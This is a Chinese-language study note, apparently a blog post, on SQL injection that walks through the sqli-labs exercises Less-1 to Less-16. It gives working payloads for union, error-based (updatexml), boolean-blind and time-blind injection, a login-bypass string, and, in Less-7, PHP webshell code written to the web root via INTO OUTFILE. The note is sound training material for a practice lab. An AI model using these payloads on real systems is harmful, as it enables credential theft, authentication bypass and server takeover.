SQL注入原理
1.SQL注入概念及产生原因:
当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
2.SQL注入的本质:
把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:
1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。
MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本
SQL(联合)注入流程:
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名
union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)
5、获取表名
union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'
6、获取字段名
union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'
7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:
查 库: select schema\_name from information\_schema.schema
查 表: select table\_name from information\_schema.tables where table\_schema=库名
查 列: select column\_name from information\_schema.columns where table\_name=表名
查数据: select 列名 from 库名.表名
总结--普通SQL注入必备条件:
1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;
一、
1、打印所有数据库
select schema_name from information_schema.schemata;
2、打印数据库security的所有表
select table_name from information_schema.tables where table_schema='security';
3、打印数据库security的user表的所有的列(columns)
select column name from information schema.columns where table_name='users' and table_schema="security';
猜注入点
猜列
猜数据库名
猜表名
1.less01
让输入ID
尝试输入ID=1,发现输出结果
开始寻找注入点:
输入?id = 1'报错
输入 ?id=1%27 or 1 = 1 --+ 得出结果,有注入点 '
猜这个表有几列:
输入?id=1' order by 3--+成功,
输入?id=1' order by 4--+失败,共三列
猜数据库
?id=-1' union select 1, group_concat(schema_name) ,3 from information_schema.schemata --+
猜表
?id=-1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='security' LIMIT 0,1--+
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' LIMIT 0,1--+
猜表users里面的列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name = 'users' LIMIT 0,1--+
打印列
?id=-1'union select 1,username, password from users where id=2--+
2.less2
尝试闭合方式为整数闭合
接下来步骤与less1一样
3.less3
尝试闭合方式为')
4.less4
尝试闭合方式为")
二、
基于extractvalue()和updatexml()的报错注入
updatexml0 更新xml文档的函数
语法:updatexmK(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(Ox7e,(SELECT database(),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了
但是报错的时候他其实已经执行了那个子查询代码!
[Ox7e实际是是16进制,Mysql支持16进制,但是开头得写Ox0x7e是一个特殊符号,然后不符合路径规则报错]~~
updatexml ()这个函数一般是配合and或者是or使用的,他和联合查询不同,不需要在意什么字段数
select *from news where id=1 and updatexml(1.concat(Ox7e,(select database()),0x7e),1)
但是要注意,and情况下只要一个为False,就会判定是False,所以如果and前面的条件不成立的情况下,就不会执行之后的语句。所以使用的时候建议使用or
某些没有回显盲注也可以用这个updatexml()做出来。
但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。
5.less5
判断出闭合字符为'
继续,发现有4列
之后却进行不下去,发现总是显示 you are in...
接下来进行盲注
判断库名:?id=1 'and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
判断表名:?id=1 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)--+
判断列名:?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)--+
判断数据:?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+
6.less6
闭合为",其余同less5
7.less7
写马注入(不是很清楚)
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load_file()
union select 1,'<?php eval($_REQUEST[8])?>' into outfile 'c:.lphpstudylwww/1.php'
这些都是需要设置secure_file_priv,如果他为空则可以指定任意目录,如果有
设置等于某个路径就只能在这个指定路径下,而他为null时则禁止导入导出功能
输入id=1,提示use outfile
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
- 正常访问
id=1
You are in.... Use outfile......
- 看来这题是要导出文件
sqlmap 也可以执行相同的工作 这里就不解释了。
使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
这里需要有两个已知项 1 字段值 2 绝对地址
并且 系统必须有可读可写,在服务器上,完整的路径,
导出命令: union select 1,2,3 into outfile "绝对地址" %23
- paylaod
// 一般web都存放在默认的目录下,比如:
1 c:/inetpub/wwwroot/
2 linux的nginx一般是/usr/local/nginx/html
3 /home/wwwroot/default
4 /usr/share/nginx
5 /var/www/html
然后 验证是否具有这几个条件
1 获取文件权限的可读
1')) and (select count(*) from mysql.user)>0 %23
2 注入文件
这里要求猜一下他的绝对路径
id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
之后使用
id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
这里由于是使用docker,没有写成功
三、
8.less8
Sql注入思路及类型(持续更新ing)_IDgoodis的博客-CSDN博客
猜解库名长度(通过不断逼近得出的结论)
?id=1' and (length(database()))=8 --+
利用ASCII码猜解当前数据库名称:
?id=1' and (ascii(substr(database(),1,1)))=115--+
返回正常,说明数据库名称第一位是s
?id=1' and (ascii(substr(database(),2,1)))=101--+
返回正常,说明数据库名称第二位是e
...可以试出库名
猜表名:
?id=1' and (ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)))=101--+
如果返回正常,说明数据库表名的第一个的第一位是e
...
判断出最后为emails
猜字段名
and (ascii(substr((select column_name from information_schema.columns where
table_name='emails' limit 0,1),1,1)>)=105--+如果返回正常,说明emails表中的列名称第一位是i
可以用burpsuite
9.less9
时间盲注问题
同样按照盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,要尝试使用时氛盲注
猜解库名长度
?id=1' and if (length(database()=8,sleep(5),1) --+
得知库名长度为8;
其余同less8,但用方法为sleep延时操作
10.less10
与上述一样less9,但是闭合变为"
11.less11
这题转换为一个登录页面,输入不同账号密码,输出不同结果
这题变为post传参,但是内容和之前的题差不多,同样要用到之前的语句
尝试万能密码:'or 1=1 -- mry
判断字段数: 'or 1=1 order by 2 -- mry
判断显错位:'union select 1,2 -- mry
判断库名: ' union select 1,database() --+
判断表名:'union select 1,table_name from information_schema.tables where table_schema='security' --+
判断列名:'union select 1,column_name from information_schema.columns where table_schema='security' and table_name='emails' --+
判断数据:' union select 1,id from emails --+
12.less12
同样是闭合区别,变为了"),其余同less11
13.less13
将less5变成了post传参,其余基本不变
14.less14
另一种传参的报错输入
四、
15.less15
输入admin admin,出现登陆成功界面,但没有任何提示
输错的话只是显示登录失败,并没有任何提示
考虑用盲注
注意这里用到的是or,而不是and,和之前是有区别的
16.less16
和上面一样的思路,只是闭合的区别,这题用到的闭合是"),都是经过post传参的盲注